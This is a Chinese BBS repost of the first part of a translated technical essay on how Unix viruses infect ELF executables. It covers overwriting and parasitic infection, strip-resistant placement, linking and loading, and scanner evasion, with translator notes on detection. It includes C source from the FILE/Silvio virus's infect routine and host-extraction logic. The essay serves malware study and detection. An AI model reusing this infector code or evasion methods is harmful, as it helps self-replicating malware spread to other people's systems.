荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: michaelx (我这样可以吗?--睡觉), 信区: Security
标  题: 感染ELF文件(1)
发信站: 荔园晨风BBS站 (Sat Sep  8 14:36:47 2001), 转信

感染ELF文件(1)

作者:Silvio Cesare < mailto: silvio@big.net.au >
整理:小四 < mailto: scz@nsfocus.com >
主页:http://www.nsfocus.com
日期:2001-07-18
    ★ 目录
    ★ 序言
    ★ 代码段和数据段
    ★ 覆盖式感染
    ★ 寄生传染
    ★ 非二进制感染
    ★ 解决strip问题的非二进制感染
    ★ 链接和加载
    ★ 二进制感染
    ★ 换个角度看前面介绍的传染技术
    ★ 利用节对齐的填充区进行传染
    ★ 利用函数对齐的填充区进行传染
    ★ 利用填充区植入病毒
    ★ 代码段传染技术
    ★ 数据段传染技术
    ... ...
--------------------------------------------------------------------------
★ 序言
能够传染是病毒或者蠕虫关键功能之一。病毒必须以某种传染方式寄生于某种宿主,
并以此分类。传染,意味着修改宿主,当宿主代码执行时,病毒和蠕虫随之一起运行。
病毒有可能抢先执行,然后将控制权还给宿主,也有可能先让宿主执行,而后才执行
自身。病毒感染宿主之后,并不一定需要保持宿主可执行,许多早期病毒彻底破坏了
宿主,只执行自身代码。
病毒并不只感染可执行代码,还可以感染其他目标。要想列举完所有可感染目标毫无
意义,这只受限于你的想象:
. 可执行代码
. 其他进程
. 源代码
. 脚本
. Makefile文件
. man手册
. 内核模块
. 库文件
. 各种包文件
例如,一个基于进程的病毒可以感染该进程创建的其他进程,只需要截获进程创建系
统调用即可。病毒也可以源代码方式感染、传播,只要被感染的源代码能够编译、运
行,TLB(Stealth 1999)正是这样一个例子。
Makefile文件所使用的机制可以理解成一种解释型语言,病毒感染Makefile文件,并
利用这种解释型语言机制搜索、感染更多的Makefile文件。man手册使用了troff正文
处理语言,所以也是病毒感染目标,Stealth于1999年写过一个man手册病毒。还可以
感染动态库、静态库中的某些函数、初始化例程等等。Phrack Magazine 56-7演示了
感染二进制ELF文件的技术。LLKM可以感染系统中其他LLKM,这种病毒将以超级用户
身份执行。The fuzz virus (Anonymous 1997)正是利用LLKM进行传播的。即使一个
特定操作系统中的包文件也有可能被用于传播病毒,通常是超级用户处理包文件,所
以病毒将以超级用户身份得到执行。
一个有效的Unix病毒可能实施多种传染技术,其繁殖能力相当强。然而,通过可执行
文件传染是最普遍的技术。后面我们将重点讨论通过可执行文件及相关二进制文件进
行病毒传播。
这份技术文档中,我们将看到感染一个二进制可执行文件的各种方法。最简单的病毒
直接覆盖宿主。一个非二进制寄生病毒不改变宿主内部对象格式,在自身得到执行后
将控制交还给宿主。一个扩展是采用同样的感染技术,但修改了宿主内部对象格式以
隐藏病毒。更复杂也更灵活的感染技术是将病毒合入宿主进程映像中,比如用病毒替
换宿主进程映像,之后恢复,在宿主进程映像首部或尾部植入病毒代码,覆盖进程映
像各段之间的填充区域等等。
我们还将讨论如何逃避病毒扫描检查。可以修改宿主,使得病毒代码首先被执行,但
不改变宿主原始"entry point"。通过加密和多态性(传染过程中修改病毒二进制代码
)使得无法采用简单的静态二进制特征串进行病毒扫描检查。
★ 代码段和数据段
Unix操作系统象绝大多数现代操作系统一样,进程映像被划分成代码段和数据段。这
里段(segment)用于描述具有相同属性的一片内存区域。不只代码段、数据段,还有
其他更多的段,比如堆栈段。然而,只有代码段、数据段存在于静态文件映像中。代
码段和数据段的主要区别在于它们的访问权限不同,这也是我们认为它们是不同的段
的理由。不只是概念上的区别,还有性能上的区别,现在许多操作系统和芯片架构处
理拥有某一特定属性的页面时,比处理拥有另外一些属性的页面时要快。
程序被划分为两个截然不同的部分,代码段和数据段。之所以命名为text segment,
有其历史原因,该段之只包含只读数据。除了程序代码外,那些在运行过程中保持不
变的数据也位于代码段,比如一个ascii字符串
    printf( "Hello\n" );
来自静态文件映像的ELF头部信息也位于代码段,并且在代码段首部。这样就不需要
单独为ELF头部分配一页。不是所有支持头部信息的文件格式都如此,象zmagic
a.out格式,其来自静态文件映像的头部信息单独占用一页,代码段从紧接着的下页
开始。
数据段包括初始化过的数据、未初始化过的数据以及动态内存分配所使用的堆区
(Heap)。它们各自占用了数据段的不同部分,并不重叠,但是访问权限相同。注意,
在Linux上,初始化过的数据段、BBS和Heap的访问权限也不相同。用C语言来描述,
赋予初值的全局或静态变量位于初始化过的数据段。
    int init_data_1 = 1;
    int bss_2;
    int main ( void )
    {
        int        stack_1;
        static int init_data_2 = 2;
        .
        .
        .
    }
在这个例子中,变量init_data_1和init_data_2位于初始化过的数据段中,变量
stack_1在栈区中(stack)。变量bss_2位于BSS中。未初始化过的数据段称做BSS,但
事实上并非没有初始化,加载进程的时候要求初始化BSS区成全零。特殊之处在于BSS
不要求出现在静态文件映像中。在Linux中,BSS的权限是可读、可写、可执行(rwx),
这与堆区(Heap)形成对比,Heap区权限是可读、可写,没有可执行(rw-)。
将代码段、数据段划分开,使得编程更加简捷,不用考虑过多复杂的问题,观察下述
C代码
    "Hello"[0] = 'G';
如果一个操作系统不做段划分,整个进程映像都是可读、可写、可执行的。于是上述
代码将成功修改字符串"Hello"的第一个字符'H'成'G',而该字符串位于代码段。对
于划分了代码段、数据段的操作系统,上述代码违背了内存访问策略。在Unix操作系
统上,这将导致"段违例",信号SIGSEGV被发送到相关进程,通常引起core dump。
现代操作系统划分不同的段有很多原因。不同进程可以共享代码段。只读页在性能上
优于读写页。许多古老操作系统上的程序采用自修改代码,因此无法移植到现代Unix
操作系统上,后者代码段只读。自修改代码使程序很难理解。许多硬件会缓存一系列
指令以加快执行速度,自修改代码需要刷新缓存,导致硬件性能优势无法展现。
. 分页内存管理模式下进程映像
        内存低址
    [TTTTTTTTTTTTTTT]
    [TTTTTTTTTTTTTTT]
    [TTTTTTTTPPPPPPP]
    [DDDDDDDDDDDDDDD]
    [DDDDDDDDDDDDDDD]
    [DDDDDDDDBBBBBBB]
    [BBBBBBBBPPPPPPP]
    [PPPPPPPPPPPPPPP]
    [PPPPPPPPPPPPPPP]
    .
    .
    .
    [PPPPPSSSSSSSSSS]
    [SSSSSSSSSSSSSSS]
    [SSSSSSSSSSSSSSS]
        内存高址
关键字:
    T   TEXT    (ro)
    D   DATA    (rw)
    B   BSS     (rw)
    S   STACK   (rw)
    P   PADDING
每三行[]代表一页内存
    * 在这个图表中,栈区向低址增长,填充位于更低地址
    * 必须特别注意代码段和数据段的顺序。代码段大小固定,数据段可能增长,因
      为堆区(Heap)位于数据段。这意味着数据段必须位于代码段之后,否则无法增
      长。
并不都是这样分页管理的,最初代码段和数据段并未严格按页划分、隔离开来。
. 填充、隔离代码段和数据段之前的进程映像
        内存低址
    [TTTTTTTTTTTTTTT]
    [TTTTTTTTTTTTTTT]
    [TTTTTTTTDDDDDDD]
    [DDDDDDDDDDDDDDD]
    [DDDDDDDDDDDDDBB]
    [BBBBBBB]
        内存高址
关键字:
    T   TEXT    (rw)
    D   DATA    (rw)
    * 为了简洁起见,图中没有标识栈区(stack)
此时代码段和数据段的划分完全是概念上的,它们拥有相同的内存权限。
★ 覆盖式感染
这种类型的病毒就是简单覆盖宿主,其传染过程用伪代码描述如下
    infect ( filename )
    {
        if ( is_executeable( filename ) )
        {
            copy( argv[0], filename );
        }
    }
Bliss virus (Anonymous 1996)正是这种类型的补丁,感染意味着覆盖可执行文件,
原始数据被病毒破坏。这不是一个有效病毒所期望的。现在绝大多数人关心那种在被
发现前尽可能多地传染各种系统的高效病毒。此外,有效病毒可能意味着获取系统中
某种特权,比如访问特权文档,甚至直接获取超级用户权限。一个有效的病毒应该保
持隐蔽状态,直到完成所期望的功能。
一般来说,这种破坏可执行文件的感染方式都留有恢复手段,运行病毒程序时指定一
些特殊参数就能恢复原始宿主文件。
这种覆盖式传染效果非常不好,下次执行宿主将失败,很容易被发现。而且如果被破
坏的宿主是系统赖以生存的重要文件,将导致整个系统腐烂。
Bliss virus (Anonymous 1996)只传染足以容纳病毒体的文件
         原宿主            被感染后的
    [HHHHHHHHHHHHHH]    [VVVVVVVVVVVVVV]
    [HHHHHHHHHHHHHH]    [VVVVVVHHHHHHHH]
    [HHHHHHHHHHHHHH]    [HHHHHHHHHHHHHH]
关键字:
    H   宿主信息
    V   病毒体
strip一个文件意味着删除二进制文件中的辅助信息,通常并不需要它们,比如调试
器使用的符号信息。注意,strip一个二进制文件并不是删除所有不必要的信息,仅
仅删除了符号信息和调试信息。比如,一些有关所采用编译器的信息就不会被strip
掉。
    译注:对于SPARC/Solaris,请man mcs,/usr/ccs/bin/mcs
如果对一个被Bliss感染过的二进制文件做strip操作
         原宿主            被感染后的
    [HHHHHHHHHHHHHH]    [VVVVVVVVVVVVVV]
    [HHHHHHHHHHHHHH]    [VVVVVV]
    [HHHHHHHHHHHHHH]
因为病毒体的ELF头部位于文件最前部,它相当于线路图,指明可执行文件其余部分
的相互关系。ELF头部和辅助头部决定了哪些才是二进制文件的必需部分。此时只有
病毒体的描述,没有后续原宿主信息的相关描述。于是strip操作删除了后续原宿主
信息,它们被认为是非必需的。可以通过strip操作前后文件长度变化发现病毒。
即便一个简单的覆盖式病毒,为了如期望的那样执行,也必需小心设计。另外一些覆
盖式病毒修正了Bliss病毒的做法,它们修改了ELF头部信息,使得包含后续原宿主信
息。正如Siilov virus (Cesare 1999)所演示的,凭空创建一个新节(section)并非
不可能,但是这将大大增加病毒体的复杂度,需要理解ELF文件格式。
★ 寄生传染
更文明的办法是向宿主文件中插入病毒体,不破坏宿主主体。修改程序流程,以便病
毒跟随宿主一起执行。这是任何有效病毒的基本要求。
我们面临三种选择,在宿主什么位置植入病毒体,前部、中部、尾部。有种技术是病
毒暂时占用宿主空间,执行结束后病毒恢复所占用的宿主空间,这里暂不讨论这种技
术。在宿主中部插入病毒并不理想,无法保证宿主流程必然经过病毒所在地,这是不
可预知、不确定的。在宿主尾部植入病毒也存在类似问题。宿主多半使用libc(标准C
库实现),退出点很多,无法确定从哪里退出。一般来说,在宿主前部植入病毒最有
效。内存驻留型病毒可以截获文件访问例程(系统调用),之后的所有被访问文件都将
成为传染对象。越早驻留内存截获系统调用,越快开始传染。
为了修改宿主程序流程,需要修改ELF文件的入口点(entry point)。被执行的第一条
指令所在地址称做入口点。
原来的程序
                        +------------------------+
                        |                        |
入口点         -------> |         正文段         |
                        |                        |
                        +------------------------+
                        |                        |
感染后的程序
                        +------------------------+
                        |                        |
入口点         ---+     |         正文段         | <--+     入口点
                  |     |                        |    |
                  |     +------------------------+    |
                  |     |                        |    |
                  |                                   |
                  |     +------------------------+    |
                  |     |                        |    |
入口点            +---> |         病  毒         |    |
                        |                        |    |
                        +------------------------+ ---+     退出点
在一些古老的操作系统或文件格式中,可能无法直接指定入口点,多半是隐式定义在
固定位置,比如文件的第一个字节或其他特定偏移处。MS-DOS下COM文件就是一个完
整的未修正的内存映像,其第一个字节就是入口点。现代操作系统和文件格式支持直
接指定入口点,比如ELF以及新的a.out格式。
尽管MS-DOS下COM文件无法直接指定入口点,但还是可以更改程序流程。
    . 替换入口点处的指令成跳转指令,跳转到原程序尾部
    . 将病毒体追加到程序尾部,使得第一步中的跳转指令正好对准病毒体
    . 执行病毒体
    . 病毒体用原宿主指令替换第一步中的跳转指令,或者直接模拟原宿主入口点指
      令
    . 如果是替换还原了,则从病毒体跳转回原宿主入口点,如果是模拟的,则跳转
      到原宿主入口点之后的那条指令。
原来的程序                          感染后的程序
STORE_LONG_0:   pushl %ebp          start:  jmp virus
STORE_LONG_1:   movl %esp, %ebp                 .
                    .                           .
                    .                           .
                    .                           .
                ret                         ret
                                    virus:      .
                                                .
                                                .
                                            movl $STORE_LONG_0, start
                                            movl $STORE_LONG_1, 4(start)
                                            jmp start
这里STORE_LONG_0/1是原宿主入口点处的8个字节,被跳转指令覆盖了。究竟需要保
存多少字节是实现相关的,和具体的芯片架构也有关系。
这种技术(称做链)无法用于现代操作系统,比如Unix,原因如下
    . 文件格式更加复杂
    . 内存各区域有权限设置
绝大多数现代Unix操作系统采用更复杂的文件格式,因此简单在宿主尾部追加病毒体
并不意味着其自动成为宿主进程映像的一部分,而且很容易暴露。
对于MS-DOS的COM文件,其代码部分后面紧跟着数据部分,文件映像直接复制到内存
里进程空间。尾部追加的数据自动成为代码和数据。
可执行文件头部信息中记录了代码段、数据段如何组织的,加载过程中操作系统立刻
就可知道各段占用多少内存。如果想在代码段中增加新的代码,需要在文件中定位代
码段所在。一般代码段位于数据段之前,我们还需要物理移动数据段以避免被覆盖。
可执行文件的头部信息也应该随之改变。即使我们只使用数据段存放病毒体,依旧有
问题。文件尾部并不精确对应内存映像尾部。ELF格式中,符号信息出现在目标代码
之后(问:代码段与数据段之间?)。
未初始化的数据段称做BSS,紧跟在初始化过的数据段(DATA)之后。通常BSS不占用
ELF文件空间,仅仅占用内存里进程映像空间。如果病毒体位于数据段尾部(指静态文
件里),进入内存后会覆盖BSS区域,宿主中必然存在使用BSS区域的代码,显然要冲
突,很可能引发灾难。mandragore virus考虑到这点,运行时修改了BSS段,避免冲
突。
文件开始            +------+------------------+++++++
内存低端            | TEXT | INITIALIZED DATA | BSS |   内存高端
                    +------+------------------+++++++
BSS不占用文件空间。
代码段一般都是只读的,使用简单的链技术,病毒需要修改宿主原入口点处,而那位
于代码段,只读限制使之无法完成。此类病毒的变种考虑到这个问题,利用非标准的
系统调用修改了代码段权限保护,Siilov virus (Cesare 1999)正是这样使用链技术
的。
早期a.out格式中,代码段和数据段是连续的,并且均可写,非常类似MS-DOS的COM文
件。区别只在于Unix文件格式中用一个头部标识区分文件,而MS-DOS用文件扩展名标
识区分文件,所以不需要一个头部。认真讨论二者的区别超出了本文范围,各有利弊。
如果去除头部可以减少文件大小,但是更复杂的文件格式几乎总是需要一个头部来描
述拓扑结构。随着新技术的发展,开始使用我们现在所熟悉的文件格式。
★ 非二进制感染
迄今为止,寄生传染的最简单形式就是FILE virus(也称做Silvio virus)(Cesare
1999)
所演示的。VLP virus 和 8000 virus 也使用了类似技术。该技术可以用于各种文件
格式。它不要求操作二进制文件格式,可以完全采用高级语言编写,不需要编写者拥
有文件格式以及Unix内核的知识。
某些此类病毒因为其他原因操作二进制文件内部格式。8000 virus (Anonymous, 2000)
正是这样的例子,它运行于Linux操作系统,修改了二进制文件,不能用标准调试工
具处理它,比如objdump这类依赖于GNU BFD库的工具。BFD库用于处理ELF目标文件格
式。处理8000 virus时,BFD被一个特殊构造过的可执行文件头部格式所困扰,无法
正确识别。可笑的是,8000 virus修改ELF内部格式完全是意外。8000 virus的原始
形态确认是VLP virus。VLP virus以硬编码方式使用自身编译后大小(8000字节)。然
而8000 virus编译后大于8000字节,复制过程中,病毒截断了自身。很可能8000 virus
的始作俑者并未意识到硬编码带来的冲突。截断导致几个不必要的节(section)和一
些ELF信息被删除,但是病毒体功能仍在。
    译注:有必要研究这里,如何构造一些特殊ELF信息,破坏调试工具的使用
前面我们提到,可以在ELF可执行文件尾部追加病毒体而不必担心破坏执行宿主所需
信息。因为ELF头部信息反映了文件合法范围。现在我们追加宿主到病毒体尾部,病
毒首先得到执行,如果病毒体知道自身长度,就可以定位出宿主并析取产生一个新的
可执行文件。最后病毒体将控制权交还给宿主。
此类病毒机制的典型描述如下:
. 将控制交还给宿主
    执行病毒体
    定位到病毒体尾部
    读取静态文件剩余部分
    写入一个新文件
    执行新文件
. 病毒传染
    读取静态文件中病毒体部分
    写入一个新文件
    读取宿主
    追加宿主到新文件尾部
    将文件改名为宿主名
    修正文件属主、属组、权限、时间戳等信息
这种病毒机制存在的问题和Bliss virus一样,一旦strip就不能保持同样大小,因为
宿主部分未反映在病毒体所用ELF头部信息中。
该技术无法和更高级的驻留技术一起使用。在驻留技术中,桩子代码(stub code)需
要获取动态链接库中某些函数调用的控制权,替换后的库函数必须驻留在进程映像中。
因此,病毒体和宿主必须位于同一进程映像中。而前面描述的简单传染技术无法满足
要求。
另外有个问题,这种技术需要析取宿主生成一个新文件。如果最后想删除这个临时文
件,需要创建额外的进程完成任务。8000 和 VLP 病毒未清除临时文件/tmp/tmp和
/tempN,这里N是一个从零开始的数字。FILE 病毒是另外一个使用此类传染技术的病
毒,但是它创建额外进程负责清除临时文件。
下节讨论二进制感染,将解决这些问题。
在结束本小节之前看看现实中的例子,FILE virus、Silvio virus (Cesare 1999)
--------------------------------------------------------------------------
int infect ( char * filename, int hd, char * virus )
{
    int          fd;
    struct stat  stat;
    char        *data;
    int          tmagic;
    Elf32_Ehdr   ehdr;
    /* read the ehdr */
    if ( read( hd, &ehdr, sizeof( ehdr ) ) != sizeof( ehdr ) )
    {
        return( 1 );
    }
    /* ELF checks */
    if ( ehdr.e_ident[0] != ELFMAG0 || ehdr.e_ident[1] != ELFMAG1 ||
         ehdr.e_ident[2] != ELFMAG2 || ehdr.e_ident[3] != ELFMAG3 )
    {
        return( 1 );
    }
    if ( ehdr.e_type != ET_EXEC && ehdr.e_type != ET_DYN )
    {
        return( 1 );
    }
    if ( ehdr.e_machine != EM_386 && ehdr.e_machine != EM_486 )
    {
        return( 1 );
    }
    if ( ehdr.e_version != EV_CURRENT )
    {
        return( 1 );
    }
    if ( fstat( hd, &stat ) < 0 )
    {
        return( 1 );
    }
    if ( lseek( hd, stat.st_size - sizeof( magic ), SEEK_SET ) !=
         stat.st_size - sizeof( magic ) )
    {
        return( 1 );
    }
    if ( read( hd, &tmagic, sizeof( magic ) ) != sizeof( magic ) )
    {
        return( 1 );
    }
    if ( tmagic == MAGIC )
    {
        return( 1 );
    }
    if ( lseek( hd, 0, SEEK_SET ) != 0 )
    {
        die( "lseek" );
    }
    fd = open( TMP_FILENAME, O_WRONLY | O_CREAT | O_TRUNC, stat.st_mode );
    if ( fd < 0 )
    {
        die( "open( TMP_FILENAME )" );
    }
    if ( write( fd, virus, PARASITE_LENGTH ) != PARASITE_LENGTH )
    {
        return( 1 );
    }
    data = ( char * )malloc( stat.st_size );
    if ( data == NULL )
    {
        return( 1 );
    }
    if ( read( hd, data, stat.st_size ) != stat.st_size )
    {
        return( 1 );
    }
    if ( write( fd, data, stat.st_size ) != stat.st_size )
    {
        return( 1 );
    }
    if ( write( fd, &magic, sizeof( magic ) ) != sizeof( magic ) )
    {
        return( 1 );
    }
    if ( fchown( fd, stat.st_uid, stat.st_gid ) < 0 )
    {
        return( 1 );
    }
    if ( rename( TMP_FILENAME, filename ) < 0 )
    {
        return( 1 );
    }
    close( fd );
    return( 0 );
}
.
.
.
int main ( int argc, char * argv[] )
{
    .
    .
    .
    if ( fstat( fd, &stat ) < 0 )
    {
        die( "fstat" );
    }
    len   = stat.st_size - PARASITE_LENGTH;
    data1 = ( char * )malloc( len );
    if ( data1 == NULL )
    {
        die( "malloc" );
    }
    if ( lseek( fd, PARASITE_LENGTH, SEEK_SET ) != PARASITE_LENGTH )
    {
        die( "lseek( fd )" );
    }
    if ( read( fd, data1, len ) != len )
    {
        die( "read( fd )" );
    }
    close( fd );
    out = open( TMP_FILENAME2, O_RDWR | O_CREAT | O_TRUNC, stat.st_mode );
    if ( out < 0 )
    {
        die( "open( out )" );
    }
    if ( write( out, data1, len ) != len )
    {
        die( "write( out )" );
    }
    free( data1 );
    close( out );
#ifdef USE_FORK
    pid = fork();
    if ( pid < 0 )
    {
        die( "fork" );
    }
    if ( pid == 0 )
    {
        exit( execve( TMP_FILENAME2, argv, envp ) );
    }
    if ( waitpid( pid, NULL, 0 ) != pid )
    {
        die( "waitpid" );
    }
    unlink( TMP_FILENAME2 );
    exit( 0 );
#else
    exit( execve( TMP_FILENAME2, argv, envp ) );
#endif
    return( 0 );
}
[ lots to do here ]
--------------------------------------------------------------------------
译注:我们自己的UnixBind技术实际上就是这样完成的。而且很多情况下可以不必等
      待宿主执行完毕直接删除临时文件。当然FILE virus演示的waitpid()技术值
      得借鉴,比较稳妥。
★ 解决strip问题的非二进制感染
为了解决文件strip后大小发生变化的问题,需要ELF文件格式的知识。
首先想到的可能是扩展ELF文件的最后一节(section)。一个ELF二进制文件可以按节
划分,每节对应二进制文件的一部分。这些节可以描述文本段.text和数据段.data,
也可以描述初始节.init或者过程链接表.plt。一个典型ELF可执行文件的最后节对于
strip过的二进制文件是.shstrtab,对于未strip过的二进制文件是.strtab。
.shstrab节是section header string table,用于存放各节名字。.strtab节是
string table,为符号表(.symtab节)所用,包括函数名以及调试信息。使用这两种
节存放病毒体或者宿主信息存在一个问题,当strip可执行文件时,这两种节将被修
改,删除的部分几乎可以肯定包含病毒体或者宿主信息。
F2病毒的最终版扩展了.note节。对于strip过的典型ELF可执行文件,.note节通常是
倒数第二节。对于未strip过的二进制文件,.note节通常是倒数第四节。为了消除这
种不一致性,传染宿主前strip过病毒载体。
        未strip过的二进制文件
        .
        .
        .
        [ .note         ]
        [ .shstrtab     ]
        * section header table
        [ .symtab       ]
        [ .strtab       ]
        ** EOF
        strip过的二进制文件
        .
        .
        .
        [ .note         ]
        [ .shstrtab     ]
        * section header table
        ** EOF
strip过一个二进制文件之后并不需要.note节存在,然而常规strip工具并未删除该
节,为传染病毒提供了契机。
    译注:参看/usr/ccs/bin/mcs,请man mcs,执行mcs -d删除.note节
扩展.note节会覆盖.shstrtab节。某些情况下strip这种遭到破坏的ELF文件,文件大
小反而增加。如果怀疑病毒存在,可以利用这点进行检查。
为了避免上述问题,可以复制.shstrtab节到文件尾部,原来的.shstrtab节仍然留在
那里,但是无用了。
        文件布局 #1
        [PPPPPPPPP]
        [PPPPPPPPP]
        [SSSSSSSSS]    <-- 未使用
        [HHHHHHHHH]
        [HHHHHHHHH]
        [HHHHHHHHH]
        [SSSSSSSSS]
        关键字:
                P    Parasite/Virus
                H    宿主(Host)
                S    Parasite/Virus ".shstrtab" Section
问题并未真正解决,此时扩展.note节会覆盖section header table,某些情况下
strip这种遭到破坏的ELF文件,文件大小反而增加。F3病毒利用了这个不完善的技术。
同样,我们可以复制section header table到文件尾部。
        文件布局 #2
        [PPPPPPPPP]
        [PPPPPPPPP]
        [SSSSSSSSS]    <-- 未使用
        [TTTTTTTTT]    <-- 未使用
        [HHHHHHHHH]
        [HHHHHHHHH]
        [HHHHHHHHH]
        [SSSSSSSSS]
        [TTTTTTTTT]
        关键字:
                P       Parasite/Virus
                H       宿主(Host)
                S       Parasite/Virus ".shstrab" Section
                T       Parasite/Virus Section Header Table
F4病毒采用了这个技术。strip这样一个被感染的二进制文件不会导致文件大小变化。
注意,为了避免出现.symtab节和.strtab节,病毒载体早已strip过。
然而,这种技术导致.note节异常大。典型的.note节只包含少量数据。任何异常大小
的.note节都值得怀疑。
    译注:我们自己的rootkit检测技术应该考虑这种检查了
★ 链接和加载
为了修改宿主映像使得病毒体成为它的一部分,需要理解一个可执行映像是如何生成
并得到执行的,这分别是链接和加载的任务。创建可执行文件包含很多步骤,比如从
高级语言编写的源代码开始编译,链接是最后一个步骤。
/* gcc -Wall -g -ggdb -o elftest elftest.c */
#include <stdio.h>
int main ( int argc, char * argv[] )
{
    printf( "Hello\n" );
    return( 0 );
}
0x80483d0 <main>:       push   %ebp
0x80483d1 <main+1>:     mov    %esp,%ebp
0x80483d3 <main+3>:     push   $0x8048440
0x80483d8 <main+8>:     call   0x8048308 <printf>
0x80483dd <main+13>:    add    $0x4,%esp
0x80483e0 <main+16>:    xor    %eax,%eax
0x80483e2 <main+18>:    jmp    0x80483e4 <main+20>
0x80483e4 <main+20>:    leave
0x80483e5 <main+21>:    ret
字符串"Hello"的地址是固定的,具体是多少,受很多因素影响,比如整个程序大小,
可执行映像加载地址(虚拟地址)等等。
链接过程将一个可重定位目标文件转换成可执行对象,技术上就是将抽象名字与具体
名字绑定。可重定位对象的代码是地址无关的,编译器产生可重定位代码,链接器处
理这个映像以便内核可以加载执行它。
事实上绝大多数时候,汇编器产生可重定位映像,这里为了简捷起见,省略了这一步
骤的描述。现代操作系统中可执行映像采用虚拟地址,拥有固定的加载地址。因此链
接过程就是将可重定位代码转换到固定位置上,转换后可以直接加载进入进程空间。
注意,链接和加载经常纠缠在一起,不同操作系统上二者功能互有重叠。
为了生成可重定位代码,映像的目标格式通常包含重定位项。链接器通过重定位项获
取需要重定位的地址,转换成固定地址。
/* gcc -Wall -g -ggdb -o elftest elftest.c */
#include <stdio.h>
void foo ( int a )
{
    static int A;
    A = a;
    return;
}
int main ( int argc, char * argv[] )
{
    printf( "Hello\n" );
    return( 0 );
}
0x80483d0 <foo>:        push   %ebp
0x80483d1 <foo+1>:      mov    %esp,%ebp
0x80483d3 <foo+3>:      mov    0x8(%ebp),%eax
0x80483d6 <foo+6>:      mov    %eax,0x8049598  <-- 这里使用了绝对地址
0x80483db <foo+11>:     jmp    0x80483e0 <foo+16>
0x80483dd <foo+13>:     lea    0x0(%esi),%esi
0x80483e0 <foo+16>:     leave
0x80483e1 <foo+17>:     ret
注意上面标注的那行使用了绝对地址。在一个可重定位对象里,静态变量A的地址未
知,直到链接时。编译时记录引用变量A的地址,称做一个重定位项。实践中,重定
位项是节内偏移,可重定位对象中各节有其自身地址。
在MS-DOS这种操作系统中,链接和加载都由内核完成,因此不需要单独的链接过程。
.COM格式的可执行映像直接认为是可重定位的。
.COM格式采用单一段内绝对地址,通过段寄存器和段内偏移索引内存地址。在MS-DOS
下,段大小固定,不能超过64KB,.COM格式受限于此大小。要想突破这个限制,程序
必须自己完成重定位。
另外一些可执行格式,链接和加载是独立的过程,但都是内核完成的,没有单独的链
接器负责链接过程。这种格式也有重定位项,通常称做修正项。MS-DOS .EXE格式正
是这样的例子。
然而现代Unix操作系统中,链接在用户空间完成,加载由内核完成。来看看与可执行
无关但与链接、加载相关的一种特殊的可重定位对象LLKM。所有用户空间的进程拥有
相同的虚拟地址,因为链接器使用同一个缺省加载地址。另一方面,LLKM必须与内核
其他部分共享进程空间,几乎不可能给LLKM一个缺省加载地址,你无法事先知道哪个
地址可用、哪个地址已经为内核其他部分所占用。LLKM从用户空间插入内核时专门有
程序负责完成其中的链接过程,然后内核完成最终的加载过程。
★ 二进制感染
二进制感染指病毒体插入宿主映像中,而前面介绍的技术中,病毒体是独立可执行的。
二进制感染技术的重要性在于:
    . 没有额外的文件或进程
    . 病毒体是宿主进程映像的一部分
考虑驻留型病毒,需要截获、替换宿主使用到的某些函数。过程链接表PLT是驻留型
病毒的主要目标,在这里可以截获动态链接库中的函数调用。
单一进程映像使得病毒检测更加困难。而以前那些技术需要额外的进程或者临时文件,
很容易引起注意。
面临的第一个问题就是决定使用哪块地址空间。可执行文件代码使用绝对地址,比如
(mov %eax, 0x8049598),无法在内存中移动这些段。注意,这里我们用到术语--段(
segment),和MS-DOS下的段不是一个概念,这里指具有同样属性的一片内存区域。
现在我们有两种选择以让病毒体成为宿主映像的一部分:
    . 使用宿主所在内存映像
    . 使用宿主映像周边地址空间
第一种方式,病毒体将覆盖原宿主部分进程映像,我们可以复制保存该部分数据,交
还控制权之前恢复之。病毒体可以是位置无关代码,也可以是固定地址的。这种技术
比之后面介绍的技术易于实现得多。注意,这种方式很可能存在strip后静态文件大
小缩减的问题。
第二种方式,病毒体使用位置无关代码,如果宿主地址空间从0x08048000到
0x08049000,病毒体就使用0x08048000之前或者0x08049000之后的地址。病毒体必须
是位置无关的,因为它无法知道最后所用地址,直到成功感染了宿主之后。这种技术
的主要好处在于病毒体可以驻留内存,而第一种方式病毒体只能执行一次,然后就将
控制权交还给宿主了,自身为原宿主所替换。
Staog virus (QuantumG 1996) 和 vir.s parasite (Stealth 1999) 都采用了第一
种方式,覆盖了宿主映像,之后恢复宿主映像,交还控制权。它们存在strip问题。
此外,文本段必须修改成可写的,否则无法恢复宿主映像。Staog病毒调用了Linux的
mprotect()系统调用修改文本段成可写的。而vir.s parasite修改了ELF静态文件,
.text节的sh_flags成员被设置成可写,代码段加载时就已经是可写的。
{
2001-07-28 18:46 scz
这里有点问题,应该是修改代码段program header中的标记,而不是.text节的标记
需要验证,参看后续讨论
}


--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 203.93.19.1]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店